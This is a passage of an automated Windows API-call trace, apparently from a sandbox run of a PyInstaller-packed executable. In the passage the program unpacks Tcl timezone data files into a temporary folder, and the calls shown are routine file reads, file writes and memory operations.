[0039.841] GetFileType (hFile=0x10c) returned 0x1 [0039.841] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.841] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.841] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.841] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.841] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.841] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.841] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.842] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.842] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.842] CloseHandle (hObject=0x10c) returned 1 [0039.842] GetLastError () returned 0x0 [0039.842] SetLastError (dwErrCode=0x0) [0039.842] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.842] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.842] GetFileType (hFile=0x10c) returned 0x1 [0039.842] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.842] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.842] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.842] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.842] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.842] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.842] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.842] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.842] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.842] CloseHandle (hObject=0x10c) returned 1 [0039.842] GetLastError () returned 0x0 [0039.842] SetLastError (dwErrCode=0x0) [0039.842] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica") returned 67 [0039.842] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\antarctica"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.842] GetFileType (hFile=0x10c) returned 0x1 [0039.843] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.843] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.843] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.843] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.843] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.843] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.843] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.843] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.843] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.843] CloseHandle (hObject=0x10c) returned 1 [0039.843] GetLastError () returned 0x0 [0039.843] SetLastError (dwErrCode=0x0) [0039.843] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica\\McMurdo") returned 75 [0039.843] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica\\McMurdo" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\antarctica\\mcmurdo"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.843] GetLastError () returned 0x2 [0039.843] SetLastError (dwErrCode=0x2) [0039.843] GetLastError () returned 0x2 [0039.843] SetLastError (dwErrCode=0x2) [0039.843] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica\\McMurdo", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica\\McMurdo", lpFilePart=0x0) returned 0x4a [0039.843] GetLastError () returned 0x2 [0039.843] SetLastError (dwErrCode=0x2) [0039.843] GetLastError () returned 0x2 [0039.843] SetLastError (dwErrCode=0x2) [0039.843] GetLastError () returned 0x2 [0039.843] SetLastError (dwErrCode=0x2) [0039.843] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica\\McMurdo") returned 75 [0039.843] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.843] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica\\McMurdo" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\antarctica\\mcmurdo"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.844] GetFileType (hFile=0x10c) returned 0x1 [0039.844] htonl (hostlong=0xc61d0000) returned 0x1dc6 [0039.844] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0039.845] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.845] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xdc6, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xdc6, lpOverlapped=0x0) returned 1 [0039.845] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.845] CloseHandle (hObject=0x10c) returned 1 [0039.846] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.847] htonl (hostlong=0x30000000) returned 0x30 [0039.847] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.847] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.847] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.847] GetFileType (hFile=0x10c) returned 0x1 [0039.847] htonl (hostlong=0xfb9a5a00) returned 0x5a9afb [0039.847] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5f4afb, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.847] htonl (hostlong=0xd2050000) returned 0x5d2 [0039.847] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x5d2) returned 0x550600 [0039.847] htonl (hostlong=0xd2050000) returned 0x5d2 [0039.847] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.848] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.848] htonl (hostlong=0xeb1d0000) returned 0x1deb [0039.848] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1deb) returned 0x561090 [0039.848] htonl (hostlong=0xd2050000) returned 0x5d2 [0039.848] htonl (hostlong=0xeb1d0000) returned 0x1deb [0039.848] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562e88 [0039.848] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562e88 | out: hHeap=0x530000) returned 1 [0039.848] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.848] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.849] CloseHandle (hObject=0x10c) returned 1 [0039.849] GetLastError () returned 0x0 [0039.849] SetLastError (dwErrCode=0x0) [0039.849] GetLastError () returned 0x0 [0039.849] SetLastError (dwErrCode=0x0) [0039.849] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.849] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.849] GetFileType (hFile=0x10c) returned 0x1 [0039.849] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.849] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.849] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.849] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.849] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.849] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.849] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.849] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.849] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.849] CloseHandle (hObject=0x10c) returned 1 [0039.849] GetLastError () returned 0x0 [0039.849] SetLastError (dwErrCode=0x0) [0039.849] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.849] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.850] GetFileType (hFile=0x10c) returned 0x1 [0039.850] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.850] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.850] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.850] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.850] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.850] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.850] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.850] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.850] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.850] CloseHandle (hObject=0x10c) returned 1 [0039.850] GetLastError () returned 0x0 [0039.850] SetLastError (dwErrCode=0x0) [0039.850] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica") returned 67 [0039.850] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\antarctica"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.850] GetFileType (hFile=0x10c) returned 0x1 [0039.850] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.850] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.850] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.850] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.850] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.850] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.850] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.850] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.850] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.850] CloseHandle (hObject=0x10c) returned 1 [0039.851] GetLastError () returned 0x0 [0039.851] SetLastError (dwErrCode=0x0) [0039.851] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica\\Palmer") returned 74 [0039.851] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica\\Palmer" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\antarctica\\palmer"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.851] GetLastError () returned 0x2 [0039.851] SetLastError (dwErrCode=0x2) [0039.851] GetLastError () returned 0x2 [0039.851] SetLastError (dwErrCode=0x2) [0039.851] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica\\Palmer", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica\\Palmer", lpFilePart=0x0) returned 0x49 [0039.851] GetLastError () returned 0x2 [0039.851] SetLastError (dwErrCode=0x2) [0039.851] GetLastError () returned 0x2 [0039.851] SetLastError (dwErrCode=0x2) [0039.851] GetLastError () returned 0x2 [0039.851] SetLastError (dwErrCode=0x2) [0039.851] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica\\Palmer") returned 74 [0039.851] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.851] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica\\Palmer" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\antarctica\\palmer"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.851] GetFileType (hFile=0x10c) returned 0x1 [0039.851] htonl (hostlong=0xeb1d0000) returned 0x1deb [0039.851] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0039.868] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.868] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xdeb, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xdeb, lpOverlapped=0x0) returned 1 [0039.868] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.868] CloseHandle (hObject=0x10c) returned 1 [0039.869] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.870] htonl (hostlong=0x30000000) returned 0x30 [0039.870] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.870] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.870] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.870] GetFileType (hFile=0x10c) returned 0x1 [0039.870] htonl (hostlong=0xcda05a00) returned 0x5aa0cd [0039.870] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5f50cd, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.870] htonl (hostlong=0x8b000000) returned 0x8b [0039.870] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8b) returned 0x55cfe0 [0039.870] htonl (hostlong=0x8b000000) returned 0x8b [0039.870] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.871] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.871] htonl (hostlong=0x92000000) returned 0x92 [0039.871] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x92) returned 0x550600 [0039.871] htonl (hostlong=0x8b000000) returned 0x8b [0039.871] htonl (hostlong=0x92000000) returned 0x92 [0039.871] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0039.871] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.871] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0039.871] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.871] CloseHandle (hObject=0x10c) returned 1 [0039.871] GetLastError () returned 0x0 [0039.871] SetLastError (dwErrCode=0x0) [0039.871] GetLastError () returned 0x0 [0039.871] SetLastError (dwErrCode=0x0) [0039.871] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.872] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.872] GetFileType (hFile=0x10c) returned 0x1 [0039.872] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.872] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.872] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.872] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.872] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, 